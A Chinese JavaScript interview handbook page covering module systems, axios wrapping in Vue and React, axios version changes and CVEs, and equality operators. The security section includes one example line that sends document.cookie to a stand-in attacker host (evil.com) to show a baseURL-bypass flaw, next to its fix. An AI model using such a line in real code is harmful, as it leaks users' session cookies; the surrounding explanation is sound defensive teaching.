JavaScript面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

前端阅读 325月28日 03:12

AMD 和 CommonJS 的区别是什么?

一句话:AMD 为浏览器设计,异步加载依赖;CommonJS 为 Node.js 设计,同步加载依赖。这个根本差异决定了它们在语法、执行时机、输出行为上的所有不同。核心差异对照| | AMD | CommonJS ||---|---|---|| 加载方式 | 异步(网络请求不阻塞) | 同步(磁盘读取即返回) || 声明语法 | define(['dep'], fn) | require('dep') || 依赖时机 | 前置声明,并行加载后执行 | 运行时加载,顺序执行 || 输出类型 | 值的引用(模块内变更对外可见) | 值的拷贝(require 返回后与源模块脱钩) || 典型实现 | RequireJS | Node.js || 适用环境 | 浏览器 | 服务端 |为什么浏览器不能同步 require浏览器里模块要从网络加载。如果 var a = require('a') 是同步的,在 a.js 下载完成之前,主线程什么也做不了——页面直接卡死。所以 AMD 的做法是把依赖声明在数组里,加载器并行下载所有依赖,全部就绪后才执行工厂函数:// AMDdefine(['./utils', './logger'], function(utils, logger) { logger.log(utils.format('hello'));});Node.js 没有这个问题,文件就在本地磁盘,require 同步读取后立刻返回模块对象:// CommonJSconst utils = require('./utils');const logger = require('./logger');logger.log(utils.format('hello'));输出拷贝 vs 引用这是面试中容易被追问的细节:// counter.js (CommonJS)let count = 0;module.exports = { count, increment() { count++; } };// main.jsconst counter = require('./counter');counter.increment();console.log(counter.count); // 0,不是 1count 是导出时值的拷贝,模块内部 count++ 不会影响外部拿到的值。ESModule 的 export let count 则是实时绑定,外部能读到最新值。循环依赖的处理差异CommonJS 遇到循环依赖时,拿到的是已执行部分的快照,可能是不完整对象。AMD 因为是异步加载完再执行,循环依赖的模块都能拿到完整导出——前提是加载器支持。实际项目中循环依赖本身就是代码坏味道,应尽量避免。追问为什么 CommonJS 不能做 Tree-Shaking?require 是运行时调用,可以写在 if 分支、循环里,打包工具无法在编译时确定哪些导出被使用。ESModule 的 import 是静态声明,构建工具从一开始就能分析依赖图、剔除未使用代码。现在项目中还用 AMD 和 CommonJS 吗?CommonJS 依然大量存在——npm 上多数包仍是 CJS 格式。AMD 基本只在维护老项目时遇到。新项目统一用 ESModule,但 CJS 向 ESM 的迁移是个渐进过程,两种格式互操作(CJS 里 import ESM、ESM 里 require CJS)在一些边界场景仍有坑。Node.js 原生支持 ESModule 了吗?Node 12+ 已支持(.mjs 后缀或在 package.json 中设置 "type": "module"),但生态中大量 npm 包仍以 CJS 发布,双格式共存还会持续一段时间。
服务端阅读 05月28日 01:48

Vue 项目中如何正确使用 axios?从基础封装到 Vue 3 组合式 API 的完整实践

在 Vue 项目中使用 axios 不是简单地调用接口,而是要围绕 Vue 的响应式系统和生命周期做正确的事——请求取消、加载状态、错误处理、逻辑复用,每一环都影响工程质量。下面从面试最常问的封装方式出发,逐步走到 Vue 3 组合式 API 的最佳实践。为什么需要封装 axios?直接在每个组件里 import axios 发请求,看似简单,实则埋下三个隐患:配置散落各处难以统一修改、错误处理逻辑重复书写、换 HTTP 库时要改遍整个项目。封装的核心目的是收拢变化点,让业务代码只关心"调哪个接口、传什么参数"。基础封装:创建请求实例拦截器处理通用逻辑// utils/request.jsimport axios from 'axios'import { ElMessage } from 'element-plus'const service = axios.create({ baseURL: import.meta.env.VITE_API_BASE_URL, timeout: 15000, headers: { 'Content-Type': 'application/json' }})// 请求拦截:注入 token、防缓存service.interceptors.request.use(config => { const token = localStorage.getItem('token') if (token) { config.headers.Authorization = `Bearer ${token}` } if (config.method === 'get') { config.params = { ...config.params, _t: Date.now() } } return config})// 响应拦截:统一错误处理service.interceptors.response.use( response => { const res = response.data if (res.code !== 200) { ElMessage.error(res.message || '请求失败') return Promise.reject(new Error(res.message)) } return res.data }, error => { if (error.response) { const { status } = error.response if (status === 401) { ElMessage.error('登录已过期') localStorage.removeItem('token') window.location.href = '/login' } else if (status === 403) { ElMessage.error('没有权限') } else if (status === 500) { ElMessage.error('服务器错误') } } else { ElMessage.error('网络异常,请检查连接') } return Promise.reject(error) })export default service拦截器要遵循一个原则:只处理通用逻辑,业务特殊逻辑留在调用方。比如某些接口 401 不需要跳登录页,应该让调用方自己处理,拦截器可以通过 config._skipAuthRedirect 这样的标记来跳过。按模块组织 API 函数// api/user.jsimport request from '@/utils/request'export const userApi = { getInfo: () => request.get('/user/info'), updateInfo: data => request.put('/user/info', data), uploadAvatar: file => { const formData = new FormData() formData.append('file', file) return request.post('/user/avatar', formData, { headers: { 'Content-Type': 'multipart/form-data' } }) }}// api/article.jsexport const articleApi = { getList: params => request.get('/articles', { params }), getDetail: id => request.get(`/articles/${id}`), create: data => request.post('/articles', data)}API 函数层的作用是把 URL 和参数格式从组件中剥离,组件只调函数,不关心路径和字段名。后续接口变更只改这一层。Vue 3 组合式 API 中使用 axios基本用法与请求取消Vue 3 组件中发请求,必须处理两件事:加载状态和组件卸载时取消请求。不取消请求会导致卸载后 setState 报错,或者数据错乱。<script setup>import { ref, onMounted, onUnmounted } from 'vue'import { userApi } from '@/api/user'const user = ref(null)const loading = ref(false)const error = ref(null)let controller = nullconst fetchUser = async () => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { user.value = await userApi.getInfo({ signal: controller.signal }) } catch (err) { if (err.name !== 'AbortError') { error.value = err.message } } finally { loading.value = false }}onMounted(fetchUser)onUnmounted(() => controller?.abort())</script>关键点:用 AbortController 代替已废弃的 CancelToken,每次请求前取消上一次未完成的请求,onUnmounted 里再兜底一次。封装通用 Composable每个组件都写一遍 loading/error/cancel 逻辑显然不现实,抽成可复用的组合函数:// composables/useRequest.jsimport { ref, onUnmounted } from 'vue'export function useRequest(apiFn, options = {}) { const { immediate = false } = options const data = ref(null) const loading = ref(false) const error = ref(null) let controller = null const execute = async (...params) => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { data.value = await apiFn(...params, { signal: controller.signal }) return data.value } catch (err) { if (err.name !== 'AbortError') { error.value = err throw err } } finally { loading.value = false } } onUnmounted(() => controller?.abort()) if (immediate) execute() return { data, loading, error, execute }}组件中使用变得极简:<script setup>import { useRequest } from '@/composables/useRequest'import { userApi } from '@/api/user'const { data: user, loading, error, execute: refresh } = useRequest( userApi.getInfo, { immediate: true })</script>结合 Pinia 管理全局状态当多个组件需要共享同一份接口数据时(比如用户信息),Composable 就不够用了,应该用 Pinia:// stores/user.jsimport { defineStore } from 'pinia'import { ref, computed } from 'vue'import { userApi } from '@/api/user'export const useUserStore = defineStore('user', () => { const userInfo = ref(null) const loading = ref(false) const isLoggedIn = computed(() => !!userInfo.value) const fetchUserInfo = async () => { loading.value = true try { userInfo.value = await userApi.getInfo() } finally { loading.value = false } } const logout = () => { userInfo.value = null localStorage.removeItem('token') } return { userInfo, loading, isLoggedIn, fetchUserInfo, logout }})选择 Composable 还是 Pinia 的判断标准:数据是否跨组件共享。只在一个组件内用,Composable 足够;多个组件都要读同一份数据,用 Pinia。进阶:重试与请求防抖自动重试机制网络波动导致的偶发失败,自动重试比直接报错体验好得多:// utils/retry.jsexport function withRetry(requestFn, retries = 2, delay = 1000) { return async (...args) => { let lastError for (let i = 0; i <= retries; i++) { try { return await requestFn(...args) } catch (err) { lastError = err if (i < retries) { await new Promise(resolve => setTimeout(resolve, delay * (i + 1))) } } } throw lastError }}// 使用const fetchWithRetry = withRetry(userApi.getInfo, 2, 800)搜索防抖搜索场景下,用户每输入一个字符就发请求既浪费又卡顿,必须防抖:// composables/useDebouncedRequest.jsimport { ref, watch } from 'vue'export function useDebouncedRequest(apiFn, wait = 400) { const loading = ref(false) let timer = null const execute = (keyword) => { clearTimeout(timer) return new Promise((resolve, reject) => { timer = setTimeout(async () => { loading.value = true try { resolve(await apiFn(keyword)) } catch (err) { reject(err) } finally { loading.value = false } }, wait) }) } return { execute, loading }}Vue 2 项目中的注意事项Vue 2 没有组合式 API,但有相同的诉求。核心差异两点:请求取消用 CancelToken(Vue 2 项目通常用旧版 axios),在 beforeDestroy 钩子中调用 cancel()逻辑复用用 mixin,但 mixin 有命名冲突风险,优先用独立的工具函数// Vue 2 组件内export default { data() { return { user: null, loading: false } }, created() { this.cancelToken = axios.CancelToken.source() this.fetchUser() }, beforeDestroy() { this.cancelToken.cancel('组件销毁') }, methods: { async fetchUser() { this.loading = true try { const { data } = await userApi.getInfo({ cancelToken: this.cancelToken.token }) this.user = data } catch (err) { if (!axios.isCancel(err)) console.error(err) } finally { this.loading = false } } }}总结:axios 在 Vue 项目中的核心原则回答面试题时,抓住这三条主线:封装收拢变化(实例、拦截器、API 模块化)、组合式 API 复用逻辑(Composable 抽 loading/error/cancel、Pinia 管共享状态)、边界场景兜底(请求取消、重试、防抖)。能讲清为什么这么做,比贴完整代码更有说服力。
服务端阅读 05月28日 01:48

axios 从 0.x 到 1.x 经历了哪些重大变更?升级和兼容性问题怎么处理

Axios 是前端最常用的 HTTP 客户端之一,从 2014 年发布 0.1.0 到 2026 年的 1.16.x,经历了多次重大版本变更和安全修复。掌握这些变化不仅有助于日常项目维护,也是前端面试中的高频考点。版本演进全景Axios 的版本发展可以分为三个阶段:0.x 探索期(2014-2022)、1.0 稳定期(2022-2024)、安全强化期(2025-2026)。每个阶段都有影响开发者使用方式的关键变更。里程碑版本速览| 版本 | 时间 | 核心变更 ||------|------|----------|| 0.1.0 | 2014 | 初始发布,基于 Promise 的 HTTP 客户端 || 0.9.0 | 2015 | 引入拦截器机制 || 0.12.0 | 2016 | 添加 CancelToken 取消请求 || 0.16.0 | 2017 | 支持 async/await || 0.18.0 | 2018 | 修复 XSS 漏洞 || 0.19.0 | 2019 | 改进错误处理,引入 validateStatus || 0.21.0 | 2020 | 重大安全更新 || 1.0.0 | 2022 | 正式版,CancelToken 废弃,推荐 AbortController || 1.6.0 | 2023 | 支持 Fetch API 适配器 || 1.8.0 | 2025 | 引入 allowAbsoluteUrls 配置 || 1.13.0 | 2025 | 支持 HTTP/2 || 1.15.0 | 2026 | 修复多个严重安全漏洞 || 1.16.1 | 2026 | 支持 QUERY 方法,安全加固 |0.x 时期的关键变更validateStatus 让错误处理更灵活(v0.19.0)0.19.0 之前,只要服务端返回非 2xx 状态码,axios 就会抛出错误进入 catch。这在某些场景下不够灵活——比如 404 在业务逻辑中可能是正常情况。// 0.19.0 之后:自定义哪些状态码才算错误axios.get("/api/user", { validateStatus: function (status) { return status < 500; // 只有 500+ 才抛错 },});TypeScript 泛型支持(v0.20.0)0.20.0 改进了类型定义,支持泛型参数,告别了 response.data 的 any 类型。interface User { id: number; name: string;}// 泛型推断,response.data 类型为 Userconst { data } = await axios.get<User>("/api/user");1.0 正式版的重大变更CancelToken 废弃,改用 AbortController这是 1.0 最大的破坏性变更。CancelToken 是 axios 自建的取消机制,而 AbortController 是 Web 标准API,两者在用法和语义上完全不同。// 旧写法(已废弃)const source = axios.CancelToken.source();axios.get("/api/data", { cancelToken: source.token });source.cancel("取消请求");// 新写法(推荐)const controller = new AbortController();axios.get("/api/data", { signal: controller.signal });controller.abort("取消请求");迁移时需要注意两点:abort() 调用后 signal 不可复用,需要新建 AbortController;cancel() 的错误对象是 CancelError,而 abort() 抛出的是 DOMException。请求参数序列化行为变更1.x 对 URL 参数的序列化规则做了调整:null 值序列化为空字符串,undefined 值直接忽略,嵌套对象使用方括号表示法。如果后端依赖旧的序列化格式,升级后可能出现参数丢失。// 1.x 的序列化结果// { a: null, b: undefined, c: { d: 1 } } → a=&c[d]=1Fetch API 适配器(v1.6.0)1.6.0 引入了 Fetch API 适配器,让 axios 可以基于浏览器原生 fetch 运行,不再依赖 XMLHttpRequest。// 使用 fetch 适配器const instance = axios.create({ adapter: "fetch" });// 条件选择适配器const instance = axios.create({ adapter: typeof window !== "undefined" && "fetch" in window ? "fetch" : "xhr",});2025-2026 安全修复风暴2025 年以来 axios 集中修复了多个高危安全漏洞,这些 CVE 直接影响线上项目的安全性,是面试中区分深度的关键知识点。CVE-2025-27152:绝对 URL 导致 SSRF 和凭证泄露影响版本:≤ 1.7.9。当请求路径传入绝对 URL 时,即使设置了 baseURL,axios 仍会将请求发送到该绝对 URL 指向的地址,攻击者可以利用这一点发起 SSRF 攻击并窃取认证信息。1.8.0 引入了 allowAbsoluteUrls 配置项来控制此行为,1.8.2 修复了此漏洞。// 风险场景:baseURL 被绕过const client = axios.create({ baseURL: "https://api.example.com" });// 攻击者控制路径参数时,请求可能发往外部域名client.get("https://evil.com/steal?cookie=" + document.cookie);// 修复:禁用绝对 URLconst client = axios.create({ baseURL: "https://api.example.com", allowAbsoluteUrls: false,});CVE-2025-58754:data URI 导致内存耗尽影响版本:0.28.0 - 1.11.0。axios 对 data URI 的处理没有执行 maxContentLength 和 maxBodyLength 的限制检查,攻击者可以构造超大 data URI 导致 Node.js 进程内存耗尽。1.12.0 修复了此漏洞。CVE-2025-62718:NO_PROXY 主机名绕过影响版本:≤ 1.14.1。axios 在匹配 NO_PROXY 规则时没有对主机名做规范化处理,攻击者可以通过主机名的不同表示形式绕过代理规则,实现 SSRF。1.15.0 修复。CVE-2026-25639:mergeConfig 中的原型污染 DoS影响版本:1.0.0 - 1.13.4。mergeConfig 函数在合并配置时未过滤 proto 键,攻击者可以通过注入 proto 属性触发原型污染,导致 DoS。1.13.5 修复。兼容性处理实战浏览器环境兼容axios 依赖 Promise 和 XMLHttpRequest(或 Fetch API),在旧浏览器中需要 polyfill。实际项目中更推荐按特性检测来决定适配器策略,而不是一刀切。import axios from "axios";// 根据环境自动选择适配器function createClient(config = {}) { const adapter = typeof fetch !== "undefined" ? "fetch" : typeof XMLHttpRequest !== "undefined" ? "xhr" : undefined; // Node.js 使用 http 适配器 return axios.create({ adapter, ...config });}Node.js 环境兼容axios 1.x 的 Node.js 适配器需要 Node.js 12+。在 SSR 场景中,同一段代码可能在浏览器和 Node.js 中运行,需要根据环境配置不同的 Agent。const instance = axios.create({ // Node.js 环境配置 keep-alive ...(typeof process !== "undefined" && { httpAgent: new (require("http").Agent)({ keepAlive: true }), httpsAgent: new (require("https").Agent)({ keepAlive: true }), }),});版本兼容封装在维护多个项目或渐进式升级时,封装一层兼容层可以隔离版本差异,降低升级成本。// compat.js - 版本兼容封装import axios from "axios";const isV1 = axios.VERSION && axios.VERSION.startsWith("1.");// 统一取消请求接口export function createCancelableRequest() { if (isV1) { const controller = new AbortController(); return { signal: controller.signal, cancel: (msg) => controller.abort(msg), }; } const source = axios.CancelToken.source(); return { cancelToken: source.token, cancel: (msg) => source.cancel(msg), };}// 统一实例创建export function createInstance(config = {}) { return axios.create({ ...config, ...(isV1 && { transitional: { clarifyTimeoutError: true, forcedJSONParsing: true }, }), });}从 0.x 升级到 1.x 的检查清单升级前逐项排查,可以避免大部分线上故障。第一步:排查 CancelToken 使用。全局搜索 CancelToken 和 source.cancel,替换为 AbortController。注意 abort() 后 signal 不可复用,循环请求场景需要每次新建 controller。第二步:检查参数序列化。如果后端依赖 null 参数传空字符串的行为,确认升级后序列化结果是否一致。可以用 paramsSerializer 自定义序列化逻辑。第三步:检查 TypeScript 类型。1.x 的类型导出路径有调整,AxiosResponse、AxiosRequestConfig 等需要确认导入方式。第四步:检查自定义适配器。如果项目中使用了自定义适配器(如缓存适配器、Mock 适配器),需要适配 1.x 的适配器接口变更。第五步:安全版本确认。确保升级到 1.15.1 以上版本,修复所有已知 CVE。低于 1.15.0 的版本至少存在两个未修复的安全漏洞。版本锁定与更新策略生产环境中,推荐锁定 axios 的精确版本号,避免隐式升级引入兼容性问题。同时定期检查安全更新。{ "dependencies": { "axios": "1.16.1" }}对于 Monorepo 或微前端项目,使用 resolutions 字段统一 axios 版本,避免不同子项目引用不同版本。{ "resolutions": { "axios": "1.16.1" }}追问:axios 和 fetch 该怎么选新项目中如果只需要基本的请求功能,fetch API 已经足够,浏览器原生支持无需安装依赖。但如果需要拦截器、自动 JSON 转换、请求取消、超时控制、XSRF 防护等开箱即用的能力,axios 仍然是更高效的选择。axios 1.6+ 的 Fetch 适配器让两者可以共存,在 fetch 基础上获得 axios 的上层能力。
服务端阅读 05月28日 01:47

axios 实例如何创建和配置?axios.create() 的使用方法与核心原理

axios.create() 是 axios 提供的工厂方法,用于创建一个拥有独立配置的 axios 实例。与直接使用全局 axios 对象不同,实例之间互不影响,适合在项目中对接多个服务或需要不同默认配置的场景。核心答案axios.create() 接收一个配置对象,返回一个新的 axios 实例,该实例拥有与全局 axios 相同的请求方法,但配置彼此隔离:const instance = axios.create({ baseURL: 'https://api.example.com', timeout: 10000, headers: { 'X-Custom-Header': 'foobar' }});instance.get('/users'); // 实际请求 https://api.example.com/users面试关键点: axios.create() 创建的实例与全局 axios 共享原型方法,但拥有独立的 defaults、interceptors,互不干扰。源码中 create 调用了 createInstance,通过 bind 绑定新上下文并拷贝拦截器链。追问:axios.create() 和直接修改 axios.defaults 有什么区别?修改 axios.defaults 影响全局所有请求,而 axios.create() 创建的实例配置独立,适合多服务、多环境场景。实际项目中推荐使用实例而非修改全局默认值。配置选项分类基础配置最常用的配置项集中在请求地址、超时和请求头:const instance = axios.create({ baseURL: 'https://api.example.com/v1', // 请求 URL 前缀 timeout: 10000, // 超时时间(毫秒) headers: { // 自定义请求头 'Content-Type': 'application/json', 'Accept': 'application/json' }, method: 'get', // 默认请求方法 params: { page: 1 }, // URL 查询参数 data: { name: 'test' } // 请求体数据});进阶配置实际项目中常涉及跨域凭证、响应类型和安全相关配置:const instance = axios.create({ withCredentials: true, // 跨域请求携带 cookie responseType: 'json', // 响应数据类型:json/blob/stream 等 responseEncoding: 'utf8', // 响应编码 xsrfCookieName: 'XSRF-TOKEN', // XSRF 防护 cookie 名 xsrfHeaderName: 'X-XSRF-TOKEN', // XSRF 防护 header 名 maxRedirects: 5, // 最大重定向次数 maxContentLength: 2000, // 响应体最大长度 onUploadProgress: (e) => {}, // 上传进度回调 onDownloadProgress: (e) => {} // 下载进度回调});配置优先级这是面试高频考点。配置合并遵循四个层级,后者覆盖前者:库默认值 — axios 内置的默认配置axios.create() 传入的配置 — 创建实例时指定实例的 defaults 属性 — 创建后通过 instance.defaults 修改请求时传入的配置 — 单次请求的 config 参数// 层级 1:库默认 timeout = 0// 层级 2:创建时 timeout = 5000const instance = axios.create({ timeout: 5000 });// 层级 3:defaults 修改 timeout = 10000instance.defaults.timeout = 10000;// 层级 4:请求时覆盖 timeout = 20000 ← 最终生效instance.get('/data', { timeout: 20000 });追问:headers 的合并策略和 timeout 一样吗?不一样。timeout 等简单值直接覆盖,而 headers 采用深度合并策略——headers.common、headers[method] 会按层级递归合并,而非整体替换。理解这一点才能避免配置被意外覆盖。实战场景多后端服务中大型项目通常对接多个微服务,各自拥有不同的 baseURL 和超时要求:const userService = axios.create({ baseURL: 'https://api.user-service.com', timeout: 5000});const orderService = axios.create({ baseURL: 'https://api.order-service.com', timeout: 10000});// 各实例独立使用,互不干扰userService.get('/users/1');orderService.get('/orders/123');认证 API 与公开 API 分离需要对不同接口设置不同的拦截逻辑时,实例隔离尤为重要:// 需要认证的实例const authApi = axios.create({ baseURL: 'https://api.example.com', timeout: 10000});authApi.interceptors.request.use(config => { const token = localStorage.getItem('token'); if (token) config.headers.Authorization = `Bearer ${token}`; return config;});// 公开接口实例——无需 tokenconst publicApi = axios.create({ baseURL: 'https://api.example.com', timeout: 5000});完整封装方案结合实例创建、拦截器和错误处理,形成项目级的请求封装:import axios from 'axios';const api = axios.create({ baseURL: import.meta.env.VITE_API_URL || 'http://localhost:3000', timeout: 10000, headers: { 'Content-Type': 'application/json' }});// 请求拦截:注入 tokenapi.interceptors.request.use(config => { const token = localStorage.getItem('token'); if (token) config.headers.Authorization = `Bearer ${token}`; return config;});// 响应拦截:统一错误处理api.interceptors.response.use( response => response.data, error => { if (error.response?.status === 401) { localStorage.removeItem('token'); window.location.href = '/login'; } return Promise.reject(error); });export default api;常见问题实例能访问全局 axios 的拦截器吗? 不能。每个实例拥有独立的 interceptors 对象,创建实例时拦截器链从空开始,需要单独添加。axios.create() 返回的是什么? 返回一个包装了 Axios 实例的函数,该函数绑定了当前上下文,同时挂载了 get、post 等快捷方法和 defaults、interceptors 属性。源码中通过 extend 将 Axios.prototype 上的方法拷贝到实例函数上。实例方法有哪些? request、get、delete、head、options、post、put、patch、getUri,用法与全局 axios 一致。
服务端阅读 05月28日 01:41

在 React 项目中如何正确使用 axios?

在 React 项目中使用 axios,核心挑战不在于发送请求本身,而在于如何让请求逻辑与 React 的组件生命周期、状态管理、性能优化正确配合。许多开发者会写 axios 调用,却在内存泄漏、竞态条件、重复请求等问题上频频踩坑。一、为什么 React 项目需要封装 axios直接在每个组件中 import axios from 'axios' 然后调用,看似简单,但会带来三个问题: baseURL 和超时配置散落各处、token 刷新逻辑无法统一处理、错误处理方式不一致。创建统一的请求实例// services/request.jsimport axios from 'axios';const request = axios.create({ baseURL: import.meta.env.VITE_API_BASE_URL, timeout: 15000, headers: { 'Content-Type': 'application/json' },});// 请求拦截器:注入 tokenrequest.interceptors.request.use((config) => { const token = localStorage.getItem('access_token'); if (token) { config.headers.Authorization = `Bearer ${token}`; } return config;});// 响应拦截器:统一错误处理 + token 过期刷新let isRefreshing = false;let pendingRequests = [];request.interceptors.response.use( (response) => response.data, async (error) => { const originalRequest = error.config; if (error.response?.status === 401 && !originalRequest._retry) { if (isRefreshing) { return new Promise((resolve) => { pendingRequests.push((token) => { originalRequest.headers.Authorization = `Bearer ${token}`; resolve(request(originalRequest)); }); }); } originalRequest._retry = true; isRefreshing = true; try { const { data } = await axios.post('/auth/refresh', { refresh_token: localStorage.getItem('refresh_token'), }); localStorage.setItem('access_token', data.access_token); pendingRequests.forEach((cb) => cb(data.access_token)); pendingRequests = []; return request(originalRequest); } catch { localStorage.clear(); window.location.href = '/login'; return Promise.reject(error); } finally { isRefreshing = false; } } return Promise.reject(error); });export default request;这个封装解决了一个容易被忽略的问题:当多个请求同时返回 401 时,只触发一次 token 刷新,其余请求排队等待新 token 后自动重试。按业务模块拆分 API 函数// services/user.jsimport request from './request';export const userApi = { getProfile: () => request.get('/user/profile'), updateProfile: (data) => request.put('/user/profile', data),};// services/post.jsexport const postApi = { getList: (params) => request.get('/posts', { params }), getDetail: (id) => request.get(`/posts/${id}`), create: (data) => request.post('/posts', data),};将 API 函数与组件解耦,后续接口变更只需改一处。测试时也可以直接 mock 整个模块。二、在组件中正确使用 axios必须处理请求取消React 组件卸载后,仍在进行中的异步请求如果试图更新状态,会触发内存泄漏警告。这是 axios 在 React 中最常见的坑。import { useEffect, useState } from 'react';import { userApi } from '@/services/user';function UserProfile({ userId }) { const [user, setUser] = useState(null); const [loading, setLoading] = useState(true); const [error, setError] = useState(null); useEffect(() => { const controller = new AbortController(); (async () => { try { setLoading(true); const data = await userApi.getProfile({ signal: controller.signal, }); setUser(data); } catch (err) { if (err.name !== 'CanceledError') { setError(err.message); } } finally { setLoading(false); } })(); return () => controller.abort(); }, [userId]); // ...渲染逻辑}关键点:AbortController 的 signal 传给 axios 的请求配置,组件卸载时调用 controller.abort(),axios 会以 CanceledError 拒绝 Promise。在 catch 中通过 err.name 过滤掉取消错误,避免污染错误状态。竞态条件:快速切换时的数据错乱当用户快速切换 tab 或搜索关键词时,多个请求可能乱序返回,导致页面显示的是旧数据而非最新请求的结果。// 错误写法:快速切换 userId 时可能显示旧数据useEffect(() => { userApi.getProfile(userId).then(setUser);}, [userId]);// 正确写法:每次新请求自动取消上一次useEffect(() => { const controller = new AbortController(); userApi.getProfile(userId, { signal: controller.signal }) .then(setUser) .catch((err) => { if (err.name !== 'CanceledError') setError(err); }); return () => controller.abort();}, [userId]);同一个 AbortController 同时解决了内存泄漏和竞态两个问题。三、用自定义 Hook 收敛请求逻辑每个组件都写一遍 loading/error 状态和 AbortController,代码重复且容易遗漏。封装成自定义 Hook 后,组件只需关注业务逻辑。// hooks/useRequest.jsimport { useState, useEffect, useCallback, useRef } from 'react';export function useRequest(apiFn, { immediate = true, deps = [] } = {}) { const [data, setData] = useState(null); const [loading, setLoading] = useState(immediate); const [error, setError] = useState(null); const controllerRef = useRef(null); const execute = useCallback(async (...args) => { controllerRef.current?.abort(); const controller = new AbortController(); controllerRef.current = controller; try { setLoading(true); setError(null); const result = await apiFn(...args, { signal: controller.signal }); setData(result); return result; } catch (err) { if (err.name !== 'CanceledError') { setError(err); throw err; } } finally { setLoading(false); } }, [apiFn]); useEffect(() => { if (immediate) execute(); return () => controllerRef.current?.abort(); }, [immediate, execute, ...deps]); return { data, loading, error, execute };}这个 Hook 的设计要点:用 useRef 保存最新的 controller 引用,execute 每次调用先取消上一次请求,天然防竞态;immediate 控制是否自动执行;deps 支持依赖变化时重新请求。四、四个常见坑点坑点 1:表单重复提交用户连续点击提交按钮,会发出多个相同的 POST 请求。const [submitting, setSubmitting] = useState(false);const handleSubmit = async (values) => { if (submitting) return; setSubmitting(true); try { await postApi.create(values); } finally { setSubmitting(false); }};// JSX 中<Button loading={submitting} onClick={() => handleSubmit(formValues)}> 提交</Button>更彻底的方案是用 axios 的 CancelToken 或 AbortController 取消上一次提交,但大多数场景下 loading 锁定已足够。坑点 2:POST 请求参数序列化axios 默认将对象序列化为 JSON,但某些后端接口要求 application/x-www-form-urlencoded 格式。直接传对象会导致后端解析失败。// 错误:后端收不到参数axios.post('/api/login', { username: 'admin', password: '123' });// 正确:使用 URLSearchParams 或 qs 库axios.post('/api/login', new URLSearchParams({ username: 'admin', password: '123' }));// 或使用 qsimport qs from 'qs';axios.post('/api/login', qs.stringify({ username: 'admin', password: '123' }));坑点 3:文件上传进度丢失上传大文件时用户需要看到进度,但很多人不知道 axios 支持 onUploadProgress。const [progress, setProgress] = useState(0);const handleUpload = async (file) => { const formData = new FormData(); formData.append('file', file); await request.post('/upload', formData, { headers: { 'Content-Type': 'multipart/form-data' }, onUploadProgress: (e) => { setProgress(Math.round((e.loaded * 100) / e.total)); }, });};坑点 4:错误处理不区分业务错误和网络错误// 统一错误处理策略request.interceptors.response.use( (response) => { const { code, data, message } = response.data; if (code !== 0) { // 业务错误:弹提示,不抛异常 showToast(message); return Promise.reject(new Error(message)); } return data; }, (error) => { // 网络错误 / 服务器错误 if (!error.response) { showToast('网络异常,请检查网络连接'); } else if (error.response.status >= 500) { showToast('服务器繁忙,请稍后重试'); } return Promise.reject(error); });业务错误(如"余额不足")和网络错误(如断网、500)应该用不同策略处理:前者通常只需提示用户,后者可能需要重试或降级。五、React Query + axios:生产级方案手动管理请求状态、缓存、重试、乐观更新,代码量会急剧膨胀。React Query 把这些能力内置了,只需要提供 axios 请求函数即可。import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';import { postApi } from '@/services/post';// 查询:自动缓存 + 后台刷新 + 请求去重function usePostList(params) { return useQuery({ queryKey: ['posts', params], queryFn: () => postApi.getList(params), staleTime: 5 * 60 * 1000, });}// 变更:自动失效缓存function useCreatePost() { const queryClient = useQueryClient(); return useMutation({ mutationFn: postApi.create, onSuccess: () => { queryClient.invalidateQueries({ queryKey: ['posts'] }); }, });}React Query 配合 axios 的核心优势:多个组件请求同一接口时只发一次请求(请求去重);窗口重新获得焦点时自动后台刷新数据;mutation 成功后自动让相关缓存失效,无需手动刷新。TypeScript 类型安全在 TypeScript 项目中,给 axios 请求加上类型约束,能在编译期捕获参数和返回值类型错误。// types/api.tsinterface UserProfile { id: number; name: string; email: string;}interface ApiResponse<T> { code: number; data: T; message: string;}// services/user.tsexport const userApi = { getProfile: () => request.get<ApiResponse<UserProfile>>('/user/profile'),};组件中 useQuery 配合类型推导,data 自动获得 UserProfile 类型,不再需要手动断言。面试中回答 axios 相关问题时,先讲封装思路(实例、拦截器、模块拆分),再讲 React 集成要点(AbortController 防内存泄漏和竞态),最后提 React Query 的缓存和重试机制,这条线能把问题讲透。
前端阅读 485月27日 01:17

== 和 === 的区别是什么?什么情况下用 == 相等?

=== 是严格相等:类型不同直接 false,类型相同才比较值。== 是宽松相等:类型不同时做类型转换(强制类型转换),然后再比较。大多数场景用 ===。但 == 也有实际用途:if (x == null) —— 等价于 x === null || x === undefined,很简洁你明确知道两端类型相同时(和 === 没区别)处理字符串和数字比较时('5' == 5 是 true),比如从 input 里读出来的值// == 的经典坑'' == 0; // true[] == 0; // true[] == ''; // true[] == ![]; // true (?!)null == undefined; // trueNaN == NaN; // false (即使 === 也是 false)追问Object.is 和 === 有什么区别?两个不同:Object.is(NaN, NaN) 是 true(=== 是 false),Object.is(0, -0) 是 false(=== 是 true)。其他行为和 === 完全一致。if (x == null) 比 if (x === null || x === undefined) 有什么风险吗?几乎没有。== null 只在值为 null 或 undefined 时为 true,对 0、''、false 都是 false。这是 == 唯一一个业界认可的"干净"用法。
服务端阅读 985月27日 01:12

Node.js 如何开启多进程?进程之间如何通讯?

